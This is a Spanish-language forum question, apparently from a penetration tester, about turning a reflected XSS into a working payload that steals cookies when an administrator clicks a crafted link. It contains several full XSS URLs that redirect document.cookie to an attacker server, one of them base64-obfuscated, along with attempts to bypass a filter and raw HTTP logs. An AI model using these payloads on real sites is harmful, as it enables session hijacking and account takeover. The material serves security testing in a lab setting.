Estoy comprobando esta aplicación & Han confirmado un xss reflejado. Ahora, estoy tratando de crear una carga útil que funcione, en lugar de simplemente mostrar un cuadro de alerta.
La url creada es la siguiente:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php?y="+document.cookie;</script>
Ciertos caracteres deben estar codificados, por lo que la carga útil es:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%3fy="%2bdocument.cookie%3b</script>
Al abrir este url, se ejecuta directamente el js sin ningún problema.
Sin embargo, con esta aplicación, un administrador debe hacer clic en este enlace a través de otra página.
El problema es que cuando se hace clic o se abre la URL diseñada, la carga útil se elimina hasta http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php"
Mirar la fuente de la página muestra lo siguiente:
<form action=/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php method=post name=search>
He intentado con otras cargas útiles, algunas más largas & incluso los acortadores de URL, pero no hace ninguna diferencia.
Parece que no entiendo por qué se ejecuta la misma url creada cuando se abre directamente, pero se elimina la carga cuando se pasa a través de una página diferente.
¿Cómo puedo evitar esta restricción para capturar cookies y / o inyectar gancho de carne de res, preferiblemente con una carga útil corta & sin redireccionamiento.
Gracias.
ACTUALIZACIÓN
Basado en el comentario de @xavier59, codifiqué %
a %25
, por lo que la solicitud es:
http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>
La carga útil js se ejecuta según lo previsto (redirecciona al servidor web del atacante), pero ahora las cookies no se capturan. Aquí está la solicitud que recibo una vez que se ejecuta la carga útil:
GET /z.php%3fy= HTTP/1.1
+document.cookie
aún se está eliminando.
ACTUALIZACIÓN2 Solicitud HTTP & respuestas cuando se hace clic en la url hecha a mano:
Crafted URL:
http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>
GET:http://url
Host:myapp.local
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1
Date:Fri, 02 Feb 2018 22:20:35 GMT
Server:Apache
Location:https://url
Content-Length:337
Keep-Alive:timeout=15, max=100
Connection:Keep-Alive
Content-Type:text/html; charset=iso-8859-1
GET:http://192.168.1.3/z.php?y=
Host:192.168.1.3
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1
Server:SimpleHTTP/0.6 Python/2.7.6
Date:Fri, 02 Feb 2018 22:31:50 GMT
Content-Type:text/html
Connection:close